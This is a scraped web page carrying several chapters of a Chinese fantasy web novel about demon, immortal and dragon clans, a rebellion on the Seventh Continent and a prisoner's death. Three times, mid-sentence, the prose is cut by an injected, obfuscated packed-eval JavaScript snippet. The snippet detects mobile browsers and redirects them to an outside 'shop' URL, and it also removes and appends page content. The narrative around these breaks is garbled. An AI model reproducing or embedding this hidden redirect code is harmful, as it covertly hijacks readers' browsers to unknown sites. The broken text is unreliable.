她只是将指骨指节搓得簌簌掉粉,斑驳色块之下,是绢帛质感的画妖本体。 “只要妖族用了仙骨,你作为进献仙骨之人,妖魔之战结束,你的功德绝对足以凝聚仙魂。” “为何还在犹豫呢,孩子?你就想躺在稻草上,带着你和你的卿卿共同的记忆,看着妖界覆灭,双双陨落大道之上吗?”梅若君不愧是仙尊,耐性好的出乎浮荣意料。画妖听得都开始口干舌燥,他还是最开始的笑模样。 画妖听的烦了,冷笑一声,不欲与他再多言,只想赶紧结束话题,还自己一个清净。 “是,我厌恶逼死了卿卿的人界,对妖界也没有什么归属感……”她一字一句道,“但这并不代表,我对你仙界就有什么好感了。” “……孩子,你只是轮回了太多世,仙骨里的记忆和能量都开始耗竭了。”梅若君的声音依旧温和,“不然你见到我的第一眼,就应该想起一切——想起那些在仙界无忧无虑的时光。” 浮荣没有回答。 梅若君的身形和面部五官忽然开始模糊,浮荣明白,他这是力量快耗尽了。 “是的,我爱卿卿,遵从她的遗言用自己感受世间百态。”她终于轻笑着开口,声音比笑意更轻,“但我是浮荣,仙尊大人——我眼中的卿卿,也不是你口中那个诞生自仙界、无忧无虑的平仙。” “我长在土里,一点点从泥土里扎根,抠出养分和灵气吞下。然后在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310289|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她人生每个重要的时刻,凝聚全部的力量,开出最美最大的芙蓉花……” 她的眼眶微微发红。 “我是独属于她的祥瑞。” 梅若君轻笑出声。 浮荣眉头微蹙,只觉得说不出的怪异。 ——那股莫名的怒气好像……散了? “你参与了她生命里所有的感情,扎破她的尸体,吮吸她的血液,吞噬她的命格——”他的声音轻得像一声拂过湖面连波澜都掀不起的叹息,“浮荣,你就是她。” “你现在命格太弱太坎坷,注定无法飞升成仙。” 浮荣的指尖微微一颤,蹙眉陷入思索:命格……怎么吞噬? 她不动声色地将这个问题压进心底,在脑海里反复揣摩——除非卿卿是夺舍重生,命格本就不属于她,因此才有可能松动、不契合身体。可卿卿还在母亲肚子里时她就看着她了,断然没有人夺舍过她。 “你还是拒绝吗?” 浮荣没有回答这个问题,顾左右而言其他,转而问道:“您总说卿卿为情所伤。那您知道她伤于何种情吗?” 梅若君微微眯了眯眼:“她的未婚夫在城破之时,带着小妾弃城而逃,将她丢在原地。” 仙尊的声音带着恰到好处的平静和哀伤:“可怜的孩子,她伤于至爱背心。” 浮荣得到了预想中的答案,终于畅快的咧嘴无声大笑,惧怕之情被陡然冒出的鄙夷冲刷的无影无踪。 “仙界原来也不过如此啊。” “我虽然被关在这里,但琉歌的处置迟迟不下来,明眼人都看得出妖皇只是走个过场、小惩大诫。因此,那些送饭的孩子也不惧于和我聊天。” 她微笑着抬眸,目光望向牢房的小窗,那里透进来一线微光:“您知道今天中午给我送饭的小猫妖说了什么吗?” ——“我要加入抚育司学兵法,然后上战场杀敌,保护和我一样的灵化幼崽……不,我要保护抚育司里全妖界的幼崽!” 浮荣的眼眶烫得厉害:“这曾是卿卿的梦想。” “可人族一句‘女子就该藏于闺阁’,以她为跳板,夺走了她父亲——老将军所有的兵权。那废物的二皇子,为了得到军队的支持而娶她,却又在婚后放任小妾骑在她头上作威作福。”她的声音开始发涩。 “凭什么斥责她在闺阁挂金戈和甲胄?凭什么鄙夷她以女子之身向皇帝建言献策?凭什么她说想上战场建功立业,他们就说她疯了?” 她的声音陡然拔高:“对,她是死于青梅竹马的至爱背叛,明明手里还握有最后一队亲卫——那是老将军的心腹,只认卿卿的玉簪——她明明能逃走的,她明明能弃城而逃的!” 浮荣面目陡然狰狞起来。 她因端木倾怨毒的爱意生出灵魂,又在金戈淬炼的怒火里生生扎下根系,于是从此三魂七魄俱全,草木生灵。 “我是对妖界没有什么好感。”她的声音忽然低了下去,低得像是从胸腔深处挤出来的呜咽。 “可我爱所有和卿卿一样——纯白、年幼、天真烂漫的女孩。我要看她们在战场上,在一切人族说只有男人可以参与的领域活跃。我要保护她们纯粹的灵魂,就像卿卿选择将亲卫全部派走,让他们去守城、去疏散流离失所的灾民、去保护更多更多的人……” 泪水从她斑驳脱色的面庞上滚落,冲刷出道道绢帛本色的痕迹。 “我要保护那些女孩,仙尊。” “我再不想看到任何人消融在战争灵与火的嘶吼声中,永世不得安宁!” 她抬起眼,目光直直望向识海内那个即将消散的身影,终于毫不掩饰的暴露出一直死死压抑的蓬勃杀意—— “而您,大部分战争的主使,躲在幕后,为和您同样恶心的仙族攫取利益的人,永远不会明白我和卿卿的心。” 77. 叛乱 时间回到不久之前——三垣盟誓刚刚结束……不,应该说刚刚分崩离析。 帝宫偏殿内烛火轻摇,茶晚山站在琉歌面前,掌心那道伤口已经凝痂,灿金色的血珠凝固在伤口边缘,在烛光下折射出细碎的光。 琉歌微微眯眼,这已经是她第三次确认茶晚山这一身血脉的真实性了:“不可能……你怎么会是纯血妖族?” “我也在调查这个,妖皇尊上。” “你确定不知道自己父亲母亲的身份,一个都不知道?” 茶晚山点头。 “你是有仙骨的平仙,按理说就不可能还是纯血妖族……”琉歌眉头紧蹙,“嘶”的深吸一口气,向后靠在椅背上,陷入沉思,“这根本就是矛盾的——只有父母双方都是仙族,才能诞生平仙。” “也就是说,你这一身仙骨,必然来自两个仙族。” 琉歌思索着继续推测:“可无论是人族还是妖族,一但经历过天雷的洗礼位列仙班,就前尘往事尽忘,肉身被天雷重塑,成为仙躯仙骨……根本不存在以妖身或者人身飞升成仙的情况,这和天道原则完全冲突了。” “只要父母有一方不是仙族,诞生的孩子就没有仙骨,不能留在仙界……”琉歌说着说着给自己逗笑了,“你这种情况反推,也就意味着,有至少两位妖族鬼才,绕过了天雷,以妖身飞升仙界,还成功诞下了你——” 越理越乱。 银发妖皇被自己的推测无语笑了:“我怎么不知道妖界还有这么厉害的人呢?” 平仙可以吸收仙气,但修为最高只能到渡劫期,寿命最多一千年,从未脱离下界的那些限制。就像人妖两族为了飞升只能经受天劫一样,平仙想要成为真正的仙族,也只有轮回积攒信仰这一条路。 而茶晚山远未到需要入轮回历练的年纪。 所以她现在,既可以呆在妖界修炼灵气,也可以呆在仙界修炼仙气。 “近几千年仙族的人口上升迅速,连带着平仙的数量也显著上升,但人妖两界对平仙的认识是不足的——我就是平仙中你们从未想到的特例。”茶晚山低头,向妖皇展现自己的价值。 “这就是我的价值,定宸尊上,我愿意配合妖界的一切研究。” 纯血妖族在妖界是完全受妖皇所控的。 茶晚山愿意向她敞开识海——也就是说,只要琉歌还是妖皇,只要妖界还有妖皇,她就连一个念头都传不出去。 琉歌沉默片刻,忽然笑着评价道:“你也蛮疯的。” 她半是感慨半是嘲弄地刺了一句:“肉眼可见的,魔界和妖界之间还有一场没打完的大战,你已经看到了仙魔联手的可能性,也在三垣盟誓上知晓了人妖两界的联合……这种四界混战,也就是你们这样的年轻人愿意往里面硬凑。” “真是好日子过够了。” 茶晚山垂眸,没有反驳。 她垂下眼,开始动手拆自己那一头粉白色的长发,动作生疏而笨拙,却带着篆刻阵盘或绘制符箓一样的谨慎态度,像是把这件事当成某种仪式。 身上那些从仙界带下来的首饰,一件件被她摘下,扔进琉歌展开的空间里,任由妖皇看管,或者销毁。 琉歌静静地注视着她,任由她动作。 茶晚山终于拆完了头发,用指尖拢了拢,给自己挽了个目前青丘正在流行的时兴发髻。 “入乡随俗。”她抿唇笑道。 “我睁眼见到的第一个人就是梅若君,”年轻稚嫩的少女说话行事却带着远超年龄的沉稳和坚定,“仙界众人都知道,我几乎是由仙尊独自抚养长大的。” 银发妖皇眉梢微微一动,示意她继续说。 “我无法不亲近他,定宸尊上”茶晚山望着虚空,像是在看很远的地方,“即使一直摸不透他态度古怪而反复的原因,我也无法不亲近他。” “可能因为仙骨的原因,我生来就是人形,一直也不知道自己的妖形是什么样。梅若君也不让我在仙界暴露妖族血脉,因此我连自己是什么妖都不知道。” 绿袍少女顿了顿,声音忽然变得空茫,像是在复述一段刻在骨子里的记忆。 “——我们要坚守规则,因为我们是可以创造规则的人。由我们创造的规则,自然天生就利好我们,即使你现在还小,也可以在我的——在规则的赋权下,成为仙族恭敬俯首的对象,成为驾驭他们的主人。” “晚山,你记住,你要坚守对你有用的规则。” 梅若君的教导对于那时的晚山来说,就是金科玉律,可年幼的女童敏锐的捕捉到了师尊话语里的裂隙—— 于是她天真发问:“那于我所不利的规则呢?” 梅若君闻言一怔,随即哈哈大笑,理所当然的回答道:“那样的东西,不应该存在。” 时隔多年,茶晚山仍对那一幕印象深刻,那是第一次,她在师尊眼里看到真切的笑意。 傲慢至极。 “师尊说——你是我的养女,唯一的徒弟。晚山,我会为你铺平一切,无论是轮回历练还是神使之位,你都不必担忧。你现在还小,等你长大了,去下界历练过了,就会知道一切都是命运的决定。” 茶晚山的指尖微微蜷缩,不知是赞同还是厌恶。 “努力,天赋,意志,心性……一切的一切都是的,这些被下界庸俗视作珍宝、传唱称赞的东西,不过是天道眼里最无用的细沙。天道的意志宛如巨浪,细沙就算堆成最坚固的碉堡,也会在巨浪之下轻而易举地化开。” 梅若君微凉的手掌轻轻落在她的头顶,他看出了女童敏锐升起的不安,温声安慰:“你既然生在了我身边,就不必去考虑那些无用的东西,徒增烦恼。” “我身为天道的延伸和化身,会为你安排好一切的。” 完全没有安慰道点子上。 但他安抚的姿态还是令茫然警惕的茶晚山放松了一点,壮着胆子,她又问到:“可是……” “可是师尊,天道无情。” “若您是天道的延伸和化身,您就不可能对我有偏爱的情绪——” 她没说下去。 年幼的女童坐在仙尊的臂弯里,鬼使神差地伸出手,想去触碰那块从不摘下的覆面黑纱。 仙尊神情骤然一冷,下意识向后微微仰身,躲开了她的手。 似乎是怕她再伸手,梅若君将扶着她的背、防止她平衡不稳摔倒的另一只手收回,给她将刚刚触及锁骨的半长发别到耳后。然后将她放下,顺势牵住了那只仍然悬在半空的手。 “好了,我送你去仙庭学宫。”他不容置疑的岔开话题,“以后那样的事情不会再发生了,也不会再有人对你说那种话了,别害怕,我保证。” 茶晚山从回忆里抽身,望向琉歌。 “有些答案,是在仙庭的学宫里找不到的,”粉白长发的少女望着妖皇,抿唇微微提起唇角,比笑意先流淌出来的,是她无畏的勇气和求真的决心。 “天道不会理会你的叩问和求索,想要找到答案,只能亲自去可以扎根的地方——定宸尊上,我想若五界中还有谁能懂我的感受,那个人只能是您了。” 琉歌心里忽然涌出一种同频共振的畅快,那股因兰因退出郁结于心的焦躁都稍退了些许。 “我代表妖界这片热土,”琉歌的声音很轻,却很郑重,“欢迎每一位寻求答案的妖族子民。” 茶晚山立刻主动用力的握住了琉歌向她摊开的那只手。 琉歌唇角浮起一丝极淡的笑意:“茶晚山,欢迎来到你素未谋面的故乡。” 第七洲,狮族领地边界。 夜色浓稠如墨。 郁柏循着那窸窸窣窣的声响一路追出去,穿过稀疏的林间,落在一处开阔地边缘。月光被云层遮住,四下昏暗,只有远处依稀几点灯火——那是抚育司巡林卫驻地的方向。 他没有再往前。 “出来吧。”布衣草鞋的神子叹了口气,抱臂倚在一棵树干上,语气懒洋洋的,“跟了一路,不累吗?” 暗处沉默了几息,似乎在评估他的情绪,随即,几道人影从阴影中缓步走出。 为首的是一个身形魁梧的雄狮,金棕色鬃毛在夜风中微微拂动。他身后跟着四五位雌性狮族,皆是狮族中精悍之辈,目光不善。 郁柏挑了挑眉,没有动。 “郁柏神子,几月前帝宫一别,竟是在这里再次相见,”那雄狮开口,声音低沉浑厚,带着几分压抑的敬意,“狮族领主——狮厉,见过郁柏尊上。” 郁柏没接他的话,只是歪了歪头,目光越过他,落在他身后那片更深的阴影里。 “还有一位呢?”他说,“躲着做什么?” 夜幕霎时寂静了,在这压抑的寂静之下,一道人影拨开挡在身前的枝丫,缓步走出。 那是个身形削瘦的雄性,赤面,黑发,一双眼睛在夜色里泛着幽冷的光。 他走路的姿态不紧不慢,带着某种久居高位者特有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310290|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从容。 赤面山魈族长老,袭明。 郁柏认出了他,这位藏权云之前的赤琉璃近卫军总督军,春在野案发后因为和拜圣教有所关联被停职审查,后因证据不足暂时释放——琉歌留着他,本是想再观察观察。 到底是看出问题来了。 “神子好眼力。”袭明微微颔首,算是行礼,“在下几人深夜叨扰尊上,是有要事相商。” 郁柏换了个更舒服的姿势,脚步扎了根似的动也不动,似笑非笑地望着眼前这几人。 “说吧,”他示意眼前几人可以开始了:“什么要事?” 袭明与狮厉对视一眼,狮厉上前一步,单膝跪地,行了一个大礼。 “郁柏神子,”他的声音低沉而郑重,“我等愿奉您为主,以第七洲为根基,割据一方,与青丘分庭抗礼。” 郁柏的眼皮抬也不抬,显出一种疲累的困倦:“继续说。” 狮厉直起身,目光灼灼地望着他:“第七洲是完全独立的最大洲,四面环海,易守难攻。狮族愿献上全部领地,蛇族那边我们也打过招呼,不会插手。象母困于青丘,象族群龙无首——只要我们动手够快,等青丘反应过来,根基已成。” “届时,您以神子之尊坐镇第七洲,法理上便与琉歌分庭抗礼。妖族本就有两位半神,她坐她的青丘,您坐您的第七洲,谁也不能说半个不字。” 郁柏听完,点了点头。 “说得挺好。”他说,“那你们要什么?” 狮厉沉默,下意识回头看了看,跟在他身后的一年长雌狮略一蹙眉,冲他小幅度的点点头。 “领地。”狮厉这才沉声回道,“我们还是坚持领土必须握在领主手里——琉歌削军权、设郡县,是要将我们世代经营的根基连根拔起——我们打妖界,为的就是这片领土。若没有领土,我们如何立足?” 郁柏没有接话,他的目光越过狮厉,落在袭明身上。 “你呢?”他问,“你又要什么?” 袭明微微一笑。 “我?”赤面山魈的声音不紧不慢,“我只是觉得,妖界本是最包容万象的,不该只有一种声音。” 郁柏盯着他看了很久,噗嗤一声笑了,那笑声在夜色里显得格外突兀,惊起了远处林间的几只夜鸟。 “有意思。” 神子银紫双色的眼瞳在夜色里亮如明星,他嘲讽的点评道:“真有意思。” “你们想象妖皇的时候,”他的声音很轻,“最大的愿望是什么?” 狮厉一愣。 “存活,和复仇。”郁柏替他说出了答案。 “琉歌取走了复仇的野心。”他笑着,毫不留情的犀利点破了几人隐藏心底的算计,“那剩下的那个——对存活的渴望,必然是落在了我的头上,你们是这样想的,对吗?” “琉歌展现了野心,你们便笃定了我是贪生怕死的那个,所以才来找我,以割据续命诱惑我背叛妖界。” 袭明的笑容微微一僵:“背叛妖界又从何谈起?第七洲是为了全妖界领地意识强的妖族考虑,也是为了妖界的未来……” “况且,您……您不怕吗?” 他的声音有些发颤,“难道您愿意被她生剥妖皇真身,从此求生不得求死不能,行尸走肉般活在这个世间?” 郁柏没有立刻回答。 他只是静静地站着,夜风吹起他的黑发,露出那双紫银双色的眼瞳,月光终于从云层后露出一角,照进他的眼底,映出两点幽冷的光。 “怕?” 他忽然笑了,那笑容很淡,淡得几乎看不出弧度,却让狮厉不由自主地后退了半步。 “真是可悲,你们连自己该惧怕什么都搞不清楚。” “把保护妖界存续的保护伞,曲解成框限了妖族自由的铁笼子,还以为自己的说法很精妙——别把所有人都当傻子了。” 狮厉张了张嘴,却说不出话。 袭明不愿放弃,咬牙上前一步,打破了这诡异的沉默。 “神子殿下,”他的语气依旧温和,却带上了几分不易察觉的冷意,“您要知道,琉歌现在从方方面面压制您,不是因为您不如她,而是因为她占据了青丘、占据了圣坛、占据了妖皇正统的位置。” “但只要您愿意,第七洲就是您的根基。我们会为您铺平一切——军队、资源、法理,一样都不会少。” “届时,您与她平起平坐,您就是妖界新的保护伞!” 78. 冷千春之死 青丘狱最深处,冷千春蜷缩在牢房角落,银发散落,遮住了大半张脸。手腕上,最高级别的锁灵铐死死禁锢着她的行动,铐链另一端嵌入墙壁,阵法光芒时明时灭,将她周身灵气和精神力都压制得难以运转。 门咔啦一声打开,琉歌缓步走入,身后跟着惊轶和颂颂等人。 冷千春无声的一咧唇,没有抬头,低声嗤笑道:“几位大人又来做无用功了。” 妖皇丝毫不理会她的话语,神情未动,在她面前站定,垂眸望着她:“青丘为龙尊常妄举办了葬礼,但龙族集体不知所踪,来参与葬礼的人也寥寥无几……听说常妄是很喜欢热闹的性子?真是令人叹息的结局。” 冷千春指尖微微一颤。 她终于抬起头,那双曾经灿若晚霞的眼瞳此刻黯淡无光,金色褪成浅褐,像是燃尽的炭火。 “我什么也不会说的,任务和使命我都已经完成,就算再不能追求大道,我也不怨不悔。” “这就是我们一直好奇的,冷千春。”琉歌在她面前蹲下,目光与她平视,“我只问你一件事——你是怎么做到的?” 混血烛龙目光撇开,保持沉默。 “在妖界启动仙器……”琉歌一字一句道,“这是怎么做到的?” “我亲手杀了曾祖父,背叛了龙族,背叛了妖界,背叛了一切。我手上沾着他的血,身上背着他的骨——” 冷千春抬起眼,望向琉歌。 “我唯一的筹码,就是这个秘密。” “只要我不说,云出岫就会遵守承诺,把龙族带上仙界。” 她的声音忽然变得很轻,轻得像是在说服自己,“只要我死守秘密,她们就会来救我,就会带龙族离开这个……这个让龙血不断稀释的鬼地方!” 琉歌只是冷冷地看着,冷千春眼底那种近乎偏执的光芒,前世今生,她见过太多次了。 那是溺水者抓住最后一根稻草时的光。 “炼药师公会早就感知我的识海状况了,我绝对经受不了下一次识海探查,你们也不敢赌强行施加,是先看到我的记忆,还是我先识海崩溃身亡——毕竟我若死了,你们手上唯一的一点线索可就断了。” 似是笃定了自己身上还有妖界亟待解决的疑问,冷千春狼狈却不崩溃,肉身的疲累丝毫没有影响他自洽的精神,隔岸观火一般,兴致勃勃的隔着栏杆欣赏妖族越来越焦灼的神色。 “你以为云出岫会来救你?”琉歌蹲下身,与她平视,“你对我们的价值是活着,对仙界的价值……呵呵,说不定仙界会觉得,你死了才有更大的价值呢。” 上一世,她和弥随音联手查案,找到的有限的线索之一,就是冷千春,这个龙岛最被看好的小辈的尸体。 冷千春眼中的光芒霎时微微晃动了一下,她蹙了蹙眉,只当琉歌还是在诈她,依然是不予理会,没有回答。 就在这时,牢房外突然传来急促的脚步声—— 颂颂的身影出现在门口,脸色凝重。她快步走到琉歌身侧,俯身耳语了几句。 琉歌的眉头微微蹙起。 “第七洲?”她确认道。 “是。”颂颂压低声音,“狮族叛乱,原赤琉璃近卫军总督,赤面山魈族的袭明,联合第七洲领主狮厉,在凝血珀宣布割据。他们打出的旗号是——拥立轩辕郁柏神子,重回妖皇正统。” 冷千春在角落里忽然笑出声——她终于确定了妖皇就是在诈她——云出岫的反击,这不来了吗? “你看,”她说,“尊上,您也有自己的麻烦。” 琉歌没有理会牢笼里那道带着浓浓胜利意味的笑,毫不含糊立刻转身向外走去。 “惊轶,传令藏权云,赤琉璃整军待发。” 她的声音冷静得近乎残酷,“既然他们想割据,我就亲自去看看,他们的骨头有多硬。” “是!” 脚步声渐渐远去。 牢房内,一线昏暗的光从走廊投进来,落在混血烛龙银发散乱的脸上。 她靠回墙上,闭上眼,唇角还残留着那一丝若有若无的笑。 突然间,冷千春浑身一僵。 一种陌生的、不属于她的力量,从她灵魂深处猛地涌出! 冷千春猛地睁开眼,瞳孔剧烈收缩,疯狂去扯筑浇入墙,早于和墙合二为一的锁灵拷! 巨大的声响使得琉歌停下了脚步。 浮荣不正常的昏睡已经一天。 “不……”冷千春嘴唇颤抖着,发出破碎的倒气声,“不……不要放弃我……” 她想要挣扎,想要抵抗,但那股力量来得太快、太猛,她又被监牢锁住了全部的力量,瞬间——灰白的雾气席卷了她的整个识海,甚至直接冲破了锁灵铐! 怨气从她体内涌出,越来越浓,越来越重,几乎凝成实质。 冷千春原本灿金的瞳孔早随着识海的破碎涣散,血红的浓雾像大团大团的血丝,从眼角和眼尾向瞳孔扩散,逐渐吞噬瞳孔,填满了整个眼眶。 竟然是堕魔的症状! 她的身体不受控制地站起来,一步一步向牢房门口走去。 锁灵铐在她手腕上崩出刺耳的金属声——然后,如所有普通材质金属一样,断了。 “不……云出岫……你说过会来救我的……”冷千春的嘴里声音凌乱破碎,“你说过……会带龙族……去仙界的……” 没有人回答她。 只有越来越浓的怨气,将她整个人包裹其中。 “小心平仙!” 一道嘶哑的吼声从妖皇身边的牢房里炸开! 浮荣死死抓着栏杆,整张脸几乎要从缝隙里挤出来。她脸上的颜料扑簌簌往下掉,露出底下斑驳的绢帛本色,一双眼睛瞪得极大,瞳孔里倒映着远处那团越来越浓的黑雾。 “尊上!小心怨气,小心平仙!”她的声音几乎撕裂,“冷千春和云出岫之间至少有一人是平仙!化虚可以绕过仙界捕捉轮回之间的联系——仙尊的权柄又可以种在她们的神魂里!” 琉歌脚步一顿。 下一瞬,她身后传来一声凄厉悠长的龙吟! 冷千春撞破了牢门,裹挟着漫天的怨气,直直向她扑来! 那怨气太浓、太重,几乎凝成实质。但琉歌看到的,是怨气之下、更深处的东西—— 一缕若有若无的、近乎透明的力量。 它藏在怨气里,藏在黑雾后,悄无声息地延展开来,像一张无形的网,向她笼罩而下! 琉歌瞳孔骤然微缩! 空间权柄在她指尖瞬间展开! 银色的光芒从她掌心涌出,在千钧一发之际,在她身前凝成一道透明的屏障—— 那道无形的力量撞上屏障,发出一声刺耳的尖啸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310291|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 整个青丘狱都在震颤! 冷千春的身体悬在半空,被那道无形的力量牵引着,像一具被线操控的木偶。她的双眼已经完全变成混沌的暗红色,灰白的脸上表情扭曲而空洞。 那道无形的力量还在冲击着空间屏障,一下,又一下,像一只被困在笼中的野兽,疯狂地想要撕碎眼前的一切。 然后,冷千春的身体忽然一顿。 那双血红色的眼睛里,最后一丝属于她的光芒,正在急速消逝。 她的嘴唇动了动。 没有声音。 但琉歌读懂了她的口型。 ——对不起。 下一瞬,那道无形的力量猛地收回! 冷千春的身体软软倒下,再无声息。 缠绕周身的怨气失去控制,轰然炸开,又在炸开的瞬间被那道收回的力量尽数卷走——像是什么东西,在回收自己的所有物。 青丘狱里,一片死寂。 琉歌站在原地,望着冷千春迅速化为齑粉的尸身,目光幽深。 “看清楚了吗?” 琉歌的声音很轻,在死寂的走廊里回荡。 她身后,一道纤细的身影从阴影中缓步走出。 茶晚山。 粉白色的长发在昏暗的光线里微微泛光,她的脸色苍白得近乎透明,但那双眼睛却亮得惊人。 “化虚……那是化虚权柄。” 琉歌转过身,望向她。 “只有神族能授权别人使用权柄。”琉歌一字一句道,“茶晚山,你知道这意味着什么吗?” 茶晚山沉默了很久。 然后,她笑了,那笑容很淡,淡得几乎看不出弧度。但那双眼睛里,有什么东西彻底碎了,又在碎裂的同时,燃起了一团全新的、灼烈的火焰。 “我知道。” 她的声音忽然变得很稳,稳得像是淬过火的铁。 她抬起眼,望向琉歌。 那双眼睛里,倒映着烛火,也倒映着琉歌清冷的面容。 “可惜了,他到底不是天道。” “他只是梅若君。” “一个为了达成目的,可以把任何人当作棋子的——暴君。” 她的声音忽然拔高,又忽然落下,落得极沉、极缓。 那双手,方才还握着贯穿冷千春胸膛的剑。 她抬起头,重新望向琉歌。 那双眼睛里,火焰已经燃尽了一切杂质,只剩下最纯粹的光。 “我的诞生,是为了持剑向不公的暴君发起挑战。” 一字一句,清晰得像刻在骨头上。 “不管他是谁。” 青丘狱外传来一阵嘈杂,惊轶匆匆赶来,正撞上从里面走出的琉歌和茶晚山。 他脚步一顿,目光在两人身上转了一圈,最后落在琉歌脸上。 “尊上,”他压低声音,“第七洲那边——” “我知道。”琉歌打断他,“传令藏权云,赤琉璃整军出发。” “是。” 惊轶领命而去。 “茶晚山,你跟我去第七洲。”琉歌声音沉稳,“有些账,是该算算了。” 茶晚山微微颔首,没有说话。 两人并肩步入夜色。 身后,青丘狱的大门缓缓合拢,将那一室的死寂与血腥,尽数封存。 79. 日升之处 玉青璞抱着一摞木盒走出炼药师公会的大门时,天刚蒙蒙亮。 晨雾还没散尽,青丘的街道上已经热闹起来。 挑着担子的商贩、赶着驮兽的车队、三五成群赶往工地的工匠——这座年轻的妖都在短短几个月里,像是被谁狠狠推了一把,变化快得让人眼花缭乱。 他侧身让过一辆满载石料的车,车轱辘碾过昨夜积下的雨水,溅起一片水花,赶车的中年妖族两鬓染着晨雾般的白斑,冲他歉然一笑,扬了扬鞭,很快消失在街角。 “玉主事!”一个扎着双髻的蛇族学徒气喘吁吁地跑到他面前,“白会长让我来问,今天去哪个坊?” 玉青璞低头看了看手里的木盒,盒盖上刻着“清神丹”三个字。 “西市那一片都发完了?” “发完了。”蛇族成长期幼崽,炼药师公会接纳的第一批抚育司学徒,司徒载点点头,“泣寒瘴和魔尊魔气脱不开关系,又在第四洲爆发过,所以大家都很恐慌。虽然尊上和公会已经尽力辟谣,但还是有些风言风语在市井间流窜。” 玉青璞对这种事也没办法,泣寒瘴潜伏性极强,而开春之后,唯一可以压制泣寒瘴爆发的寒冷眼看着就要远离,谁也不敢赌自己有没有被这种怪病找上。 幸好定宸尊上早早开始准备了,这一个月间,青丘也陆陆续续来了不少九洲的炼药师,紧赶慢赶,总算将需要的清神丹数量给赶了出来。 也就是放下了一桩大事,玉青璞才有时间和精力在青丘街头走走。 “从昨天排到半夜,总算把最后几户发完了,西坊正那个开杂货铺的狐族老伯拉着我的手说了半天,说他铺子里的伙计们终于能睡个囫囵觉了。”蛇族少女第一次受到那么多感谢和夸赞,很不好意思的抿唇笑。 泣寒瘴初期的症状之一就是入夜后识海躁动,多梦多思,难以安眠,幼崽因为聚灵的特性,时时刻刻都在吸收身边的灵气强化自身,因此若被泣寒找上,症状反应尤其大,很受罪。 “今天去东坊再检查最后一遍,确定没有遗漏,”玉青璞也是个喜欢操心的,对谁都放心不下,非要亲力亲为,“你跟白会长说一声,我先去了。” 司徒载知道在这种事上劝不动他,干脆的应了一声,一溜烟跑远了。 东坊比他想象的还要热闹,还没到坊门口,就看见一条长龙从坊门里蜿蜒出来,男女老少都有,有的抱着书简,有的拎着药篓,一个个伸长了脖子往坊门里张望。 “来了来了!炼药师公会的人来了!” 不知谁喊了一声,队伍顿时躁动起来。玉青璞赶紧举起手里的木盒,大声道:“别急别急,一个一个来,今天带够了!” 他带着匆匆赶到的两个学徒在坊门口支起桌子,打开木盒,露出里面码得整整齐齐的小瓷瓶。 第一个上来的是个鹿族少年,身姿瘦削矫健,背上背着个竹筐,里面装着几株刚采的药材,还带着露水的潮气。 “大人,我替我同窗领的。”他把户籍凭证递上来,“他上个月染了风寒,一直没好利索,这些天夜里总是咳,学堂里的夫子来看了,说可能是泣寒瘴魔气入体。” 学徒接过凭证看了一眼,低头核对确认之后冲玉青璞点了点头,从盒子里取出一瓶药,又摸出一张纸,上面画着简单的图示,接着将这些东西都塞进了鹿族少年的手里。 “一天一粒,饭后吃,就水送服,吃完了拿着这个瓶子来公会把脉,不要钱。”他把药递过去,“告诉你同窗,别扛着,早点治好早点回学堂。” 鹿族少年接过药,连连点头,背着竹筐跑远了。 队伍慢慢往前挪,一个接一个,一张接一张面孔从他眼前流过——每个人都带着担忧来,又揣着安心离开。 快到中午时,队伍终于见了底,玉青璞揉了揉酸胀的肩膀,正准备收摊,一个稚嫩的声音在耳边响起。 “大人……” 他低头,看见一个银杏族男孩站在桌子边上,手里攥着几枚铜板。 “您能卖我一瓶吗?”男孩小声说,“有人拜托我照顾她的朋友,她已经一天没来抚育司了,我想给她带药回去,但我初来青丘,不知道要多少钱……” 玉青璞心里一软,蹲下来和他平视,温声询问:“你叫什么名字?” “阿蘅。”男孩说。 玉青璞愣了一下。这个名字他听过——第七洲封岛前,最后一批从第七洲撤出来的幼崽里,就有一个叫阿蘅的银杏族男孩,听说天赋很好,在抚育司里很受夫子们喜欢。 “你就是那个第七洲的阿蘅?” 男孩点点头。 玉青璞没再问,从盒子里取出一瓶清神丹,将桌上的铜板和灵石全部拢起,塞回他掌心。 “不要钱。”他说,“尊上说了,这药是给所有妖族百姓的,你同窗的病要紧,快回去给他。” “以后再有这种事,可以先问抚育司里的老师,他们都会帮你的。” 阿蘅捧着那瓶药,眼眶忽然红了。 “大人,我以后也能当炼药师吗?” “能的。”玉青璞伸手摸了摸男孩的头,“等你从抚育司学成,就可以来炼药师公会找我。” 阿蘅用力点了点头,玉青璞站起身,望着那个小小的背影消失在街角。 日头已经升到正中,青丘的街道上人来人往。 